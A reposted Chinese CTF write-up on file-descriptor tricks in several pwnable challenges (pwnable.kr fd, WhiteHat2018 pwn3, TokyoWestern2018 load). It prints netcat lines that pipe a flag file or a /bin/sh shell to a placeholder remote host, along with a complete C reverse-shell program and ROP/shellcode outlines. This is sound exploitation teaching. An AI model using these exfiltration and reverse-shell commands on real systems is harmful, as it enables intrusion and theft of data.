内容简介:接下来以一些 pwnable 题目为例分析一些 fd tricks,如果以后遇到新的操作会继续更新。 同样感谢大佬们的无私分享。有了前两篇的基础,这个就很简单了,只需要控制 read 的 第一个参数是 0 即可,当 fd = 0时,read 将会从 0 号文件,此时即为从 stdin 读取输入,接下来输入 “LETMEWIN\n” 即可。
接下来以一些 pwnable 题目为例分析一些 fd tricks,如果以后遇到新的操作会继续更新。 同样感谢大佬们的无私分享。
level 0: pwnable.kr - fd
fd@ubuntu:~$ cat fd.c #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
有了前两篇的基础,这个就很简单了,只需要控制 read 的 第一个参数是 0 即可,当 fd = 0时,read 将会从 0 号文件,此时即为从 stdin 读取输入,接下来输入 “LETMEWIN\n” 即可。
level 1: WDB2018_impossible
我们只分析与 fd 有关的部分
memset(secret_random, 0, 8uLL); fd = open("/dev/urandom", 0); read(fd, secret_random, 8uLL); printf("Input your secret code:", secret_random); read(0, buf, 8uLL); if ( !memcmp(secret_random, buf, 8uLL) ) { puts("Amazing! How can u know the secret code?"); puts("Ok,u are the boss, u can do anything u want"); puts("But u should be quiet about this, because this is illegal"); puts("So...Close ur mouth..."); close(0); qmemcpy(buf, bored_buf, 0x1000uLL); }
仔细看这段代码,open(“/dev/urandom”, 0); 后并没有对应的 close 操作。
因此如果重复运行这段代码,fd 会一直增加,到达该用户所能承受的最大量后(可以使用 ulimit -a
查看),下一次 open(“/dev/urandom”, 0); 就会失败,导致 read(fd, secret_random, 8uLL); 读了空数据,我们只需要输入 \0
即可通过 memcmp 的验证;
还有一点需要注意,这道题目随后关闭了 stdin (close(0)),因此即使我们能 get shell,我们的输入也不会被接受。但幸运的是题目只关闭了 stdin,stdout 和 stderr 还是可以用的,因此思路就有很多了,比如直接构造一段 open("./flag", 0); read(0, addr, 0x100); puts(addr)
的 ropchain 就可以得到 flag (因为 close(0), open(“./flag”, 0) 返回的 fd 将为 0)。
类似的题目还有 pwnable.kr - otp
level 2: Whitehat2018 - pwn3
同样只分析与 fd 有关的部分,通过 ret2vsyscall 获得一次任意命令执行的机会后,剩下的目的就是如何获取 flag 了
void echo() { int v0; // ST0C_4 int v1; // [rsp+Ch] [rbp-E4h] char buf[216]; // [rsp+10h] [rbp-E0h] unsigned __int64 v3; // [rsp+E8h] [rbp-8h] v3 = __readfsqword(0x28u); v0 = v1 + 32; read(0, buf, v0); printf("Echo machine: ", buf); write(1, buf, v0); close(0); close(1); strcpy(buf, deleteyourevilstring); }
这道题目的 stdin 和 stdout 都被关闭了,但因为我们有一次任意命令执行的机会,至少有以下三种方法获得 flag:
-
利用 stderr, 执行
sh ./flag
。当 shell 检测到 flag 的内容不是合法的 shell 指令时,会通过 stderr 将 flag 内容打印到显示屏上
WhiteHat2018_pwn03 [master●] sh ./flag ./flag: 1: ./flag: flag{this_is_flag}: not found
- 利用 pipe,前两篇提到 pipe 也是一种文件,虽然 stdin 和 stdout 被关闭了,但我们任然可以通过执行命令建立 pipe,利用 pipe 将 flag 内容发送到公网 vps,在 vps 上监听即可
WhiteHat2018_pwn03 [master●] cat ./flag| nc your_ip your_port ...... On vps: ubuntu@VM-61-71-ubuntu:~$ nc -lvp your_port Listening on [0.0.0.0] (family 0, port ????) Connection from [1.202.222.147] port ???? [tcp/*] accepted (family 2, sport 47042) flag{this_is_flag}
- 建立一个 reverse shell,reverse shell 的原理完全可以另开一篇 post 介绍,这里就不再解释原理,在最后放了两篇参考链接,介绍的很清楚,对 reverse shell 不太了解的可以先读一下这两篇文章。
WhiteHat2018_pwn03 [master●] nc -e /bin/sh your_ip your_port ...... On vps: ubuntu@VM-61-71-ubuntu:~$ nc -lvp your_port Listening on [0.0.0.0] (family 0, port ????) Connection from [1.202.222.147] port ???? [tcp/*] accepted (family 2, sport 47442) ls flag libc-2.27.i64 libc-2.27.so onehit onehit.i64 solve.py pwd /home/m4x/pwn_repo/WhiteHat2018_pwn03 id uid=1000(m4x) gid=1000(m4x) 组=1000(m4x),7(lp),27(sudo),100(users),109(netdev),113(lpadmin),117(scanner),124(sambashare),127(docker)
类似的题目有 0CTF2018 的 babystack
level 3: TokyoWestern2018 - load
这道题目用到了很多 fd 的知识
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char a1a[32]; // [rsp+0h] [rbp-30h] __int64 size; // [rsp+20h] [rbp-10h] __off_t offset; // [rsp+28h] [rbp-8h] set_buffer(); _printf_chk(1LL, "Load file Service\nInput file name: "); get_str(filename, 128); _printf_chk(1LL, "Input offset: "); offset = get_int(); _printf_chk(1LL, "Input size: "); size = get_int(); load_file(a1a, filename, offset, size); close_all(); return 0LL; } void __fastcall load_file(void *a1, const char *a2, __off_t a3, __int64 a4) { __int64 nbytes; // [rsp+0h] [rbp-30h] __off_t offset; // [rsp+8h] [rbp-28h] int fd; // [rsp+2Ch] [rbp-4h] offset = a3; nbytes = a4; fd = open(a2, 0); if ( fd == -1 ) { puts("You can't read this file..."); } else { lseek(fd, offset, 0); if ( read(fd, a1, nbytes) > 0 ) puts("Load file complete!"); close(fd); } } void close_all() { close(0); close(1); close(2); }
栈溢出的漏洞很好发现,但关键是我们只有打开远程文件,并从文件中读取内容的能力。根据一切皆文件的思想,如果打开 /proc/self/fd/0
,在 load_file() 中就相当于 read(3, a1, nbytes),但注意此时的 3 是 stdin,也就是说可以通过打开 /proc/self/fd/0 ,并从 stdin 读入数据来控制缓冲区内容。
那么我们要怎么利用呢?分析两种方法。
ropchain
pty 和 pts
先介绍一下什么是 pty 和 pts。我们已经知道 fd 指向被打开的文件,那么我们看一下 stdin,stdout 和 stderr 指向什么
others_reverse_shell [master●] ./file_descriptor ....... others_reverse_shell [master●] pgrep file_descriptor 8942 others_reverse_shell [master●] file /proc/8942/fd/0 /proc/8942/fd/0: symbolic link to /dev/pts/2 others_reverse_shell [master●] file /proc/8942/fd/1 /proc/8942/fd/1: symbolic link to /dev/pts/2 others_reverse_shell [master●] file /proc/8942/fd/2 /proc/8942/fd/2: symbolic link to /dev/pts/2
都指向了 /dev/pts/2
这个文件,pts 是 tty 的一部分,后续会介绍。
在第一篇已经说到了 tty 子系统是用来管理终端的,对每一个连接的终端,都会有一个 tty 设备与其对应,关系如下:
+----------------+ | TTY Driver | | | | +-------+ | +----------------+ +------------+ | | |<---------->| User process A | | Terminal A |<--------->| ttyS0 | | +----------------+ +------------+ | | |<---------->| User process B | | +-------+ | +----------------+ | | | +-------+ | +----------------+ +------------+ | | |<---------->| User process C | | Terminal B |<--------->| ttyS1 | | +----------------+ +------------+ | | |<---------->| User process D | | +-------+ | +----------------+ | | +----------------+
在 shell 里使用 tty
命令可以查看当前 shell 被关联到了哪个 tty
others_reverse_shell [master●] tty /dev/pts/3 others_reverse_shell [master●] echo test > /dev/pts/3 test others_reverse_shell [master●] lsof /dev/pts/3 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME zsh 8944 m4x 0u CHR 136,3 0t0 6 /dev/pts/3 zsh 8944 m4x 1u CHR 136,3 0t0 6 /dev/pts/3 zsh 8944 m4x 2u CHR 136,3 0t0 6 /dev/pts/3 zsh 8944 m4x 10u CHR 136,3 0t0 6 /dev/pts/3 lsof 10598 m4x 0u CHR 136,3 0t0 6 /dev/pts/3 lsof 10598 m4x 1u CHR 136,3 0t0 6 /dev/pts/3 lsof 10598 m4x 2u CHR 136,3 0t0 6 /dev/pts/3
可以看到当前 shell 使用的是 /dev/pts/3,因此直接往 /dev/pts/3 写数据跟标准输出是一样的;
使用 lsof 可以看出当前 shell 和 lsof 进程的 stdin(0u),stdout(1u),stderr(2u) 都绑定到了这个 tty 上,此时它们的关系如下
Input +--------------------------+ R/W +------+ ----------->| |<---------->| bash | | /dev/pts/3 | +------+ <-----------| |<---------->| lsof | Output | Foreground process group | R/W +------+ +--------------------------+
然后说一下 pty,使用 man 7 pty
查看 pty 的用户手册
DESCRIPTION A pseudoterminal (sometimes abbreviated "pty") is a pair of virtual character devices that provide a bidirectional communication channel. One end of the channel is called the master; the other end is called the slave.
pty 属于伪终端,“伪” 体现在 pty 是逻辑上的终端设备,但多用于模拟终端程序,比如使用 ssh,talnet 和 windows 下的 putty 等连接的终端时,此时并没有真正的设备连接到了主机,而是建立了一个 伪终端 来模拟各种行为。
从 man 手册中也可以看出 pty 分为 master 和 slave 两部分,其中 slave 部分称为 pts,master 称为 ptmx,二者结合实现 pty。工作流程可以简单的解释为进程通过调用 API 请求 ptmx 建立了一个 pts,然后会得到连接到 ptmx 的 fd 和一个新建的 pts(可以使用 man pts
查看更多细节)。
构造 ropchain
说了半天,再回到这道题目,虽然这道题目关闭了 stdin, stdout 和 stderr,pty 还在,换句话说,如果我们能控制 /dev/pts/? 的 fd 为 1,那么 puts(flag) 时就会把输出传递给 /dev/pts/? ,也就是我们能在显示屏上看到 flag。
总结一下思路:
- 利用 open(“/proc/self/fd/0”, 0) 来构造 ropchain
- ropchain 通过 open 和 read 把 flag 读到一个固定地址,同时控制 open(“/dev/pty/?”, 2) 返回的 fd 为 1
- puts(flag) 时,系统调用为 write(1, flag, len(flag)),也就是 flag 的内容将会输出到显示屏上
reverse shell
或者我们可以使用 reverse shell 来 get shell,这需要用到一些 procfs 的知识,不准备细讲,只需要知道可以通过往 /proc/self/mem 写数据更改 binary 内容即可(类似的题目有赛博地球杯的 fileManager 这道题目)。
通过 vmmap 可以看出 0x400000 - 0x401000 段具有可以行权限,且地址是固定的,因此我们可以控制 open(“/proc/self/mem”, 2) 返回的 fd 为 1,然后通过 puts(shellcode) 既可以将 shellcode 写到这段地址上,再控制 rip 到 shellcode 就可以建立一个 reverse shell(reverse shell 的经典题目有 pwnable.tw 的 kidding 等)。
总结一下思路:
- 利用 open(“/proc/self/fd/0”, 0) 来构造 ropchain,ropchain 实现 open(“/proc/self/mem”, 2) 返回的 fd 为 1
- 通过 puts(shellcode) 将 shellcode 写到具有可执行权限的代码段,可以用 lseek 控制 puts 写的位置
- 控制 rip 为 shellcode 建立 reverse shell
- 可以使用 /dev/stdin 代替 /proc/self/fd/0,效果一样,可以给 shellcode 留下更多空间
reverse shell 原理
简单介绍一下 reverse shell 的原理,先给出经典的 reverse shell 的建立方式
others_reverse_shell [master●] bat reverse_shell.c ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: reverse_shell.c ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ // reverse shell 2 │ #include <sys/types.h> 3 │ #include <sys/socket.h> 4 │ #include <netinet/in.h> 5 │ 6 │ #define NULL 0 7 │ 8 │ int socket(int domain, int type, int protocal); 9 │ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); 10 │ int dup2(int oldfd, int newfd); 11 │ int execve(const char *filename, char *const argv[], char *const envp[]); 12 │ int close(int fd); 13 │ 14 │ void reverse_shell() 15 │ { 16 │ char* address = "your_ip"; 17 │ int port = your_port; 18 │ 19 │ // create a new socket but it has no address assigned yet 20 │ int sockfd = socket(AF_INET/* 2 */, SOCK_STREAM/* 1 */, 0); 21 │ 22 │ // create sockaddr_in structure for use with connect function 23 │ struct sockaddr_in sock_in; 24 │ sock_in.sin_family = AF_INET; 25 │ sock_in.sin_addr.s_addr = inet_addr(address); 26 │ sock_in.sin_port = htons(port); 27 │ 28 │ // perform connect to target IP address and port 29 │ connect(sockfd, (struct sockaddr*)&sock_in, sizeof(struct sockaddr_in)); 30 │ 31 │ // duplicate file descriptors for STDIN/STDOUT/STDERR 32 │ for(int n = 0; n <= 2; n++) 33 │ { 34 │ dup2(sockfd, n); 35 │ } 36 │ 37 │ // execve("/bin/sh", 0, 0) 38 │ execve("/bin/sh", NULL, NULL); 39 │ 40 │ close(sockfd); 41 │ 42 │ return; 43 │ } 44 │ 45 │ 46 │ int main() 47 │ { 48 │ reverse_shell(); 49 │ 50 │ return 0; 51 │ } ───────┴─────────────────────────────────────────────────────────────────────────────────
如果前两篇看懂的话,那么参考这个代码,reverse shell 的原理就很好理解了
- 建立一个 socket,此时会新建一个 fd
- 给这个 socket 分配 ip 和 port
- 通过 dup2,将 socket 的 fd 复制到 0,1 和 2 上,这样 shell 的 io 就完全通过建立的 socket 了,这时如果我们监听这个 ip 和 port,就相当于拿到了一个 shell
References
https://lordidiot.github.io/2018-09-03/tokyowesterns-ctf-2018-load-pwn/
http://nano-chicken.blogspot.com/2014/07/linuxttyptypts.html
https://segmentfault.com/a/1190000009082089
http://shell-storm.org/shellcode/files/shellcode-219.php
http://tacxingxing.com/2018/01/19/procfs/
https://tdmathison.github.io/blog/slae32-1/
以上所述就是小编给大家介绍的《Play with file descriptor(Ⅲ)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
C++标准模板库编程实战
Ivor Horton / 郭小虎、程聪 / 2017-1
《C++标准模板库编程实战》介绍最新的C++14标准的API、库和扩展,以及如何将它们运用到C++14程序中。在书中,作者Ivor Horton 则阐述了什么是STL,以及如何将它们应用到程序中。我们将学习如何使用容器、迭代器,以及如何定义、创建和应用算法。此外,还将学习函数对象和适配器,以及它们的用法。 阅读完本书之后,你将能够了解如何扩展STL,如何定义自定义类型的C++组件,你还将能够......一起来看看 《C++标准模板库编程实战》 这本书的介绍吧!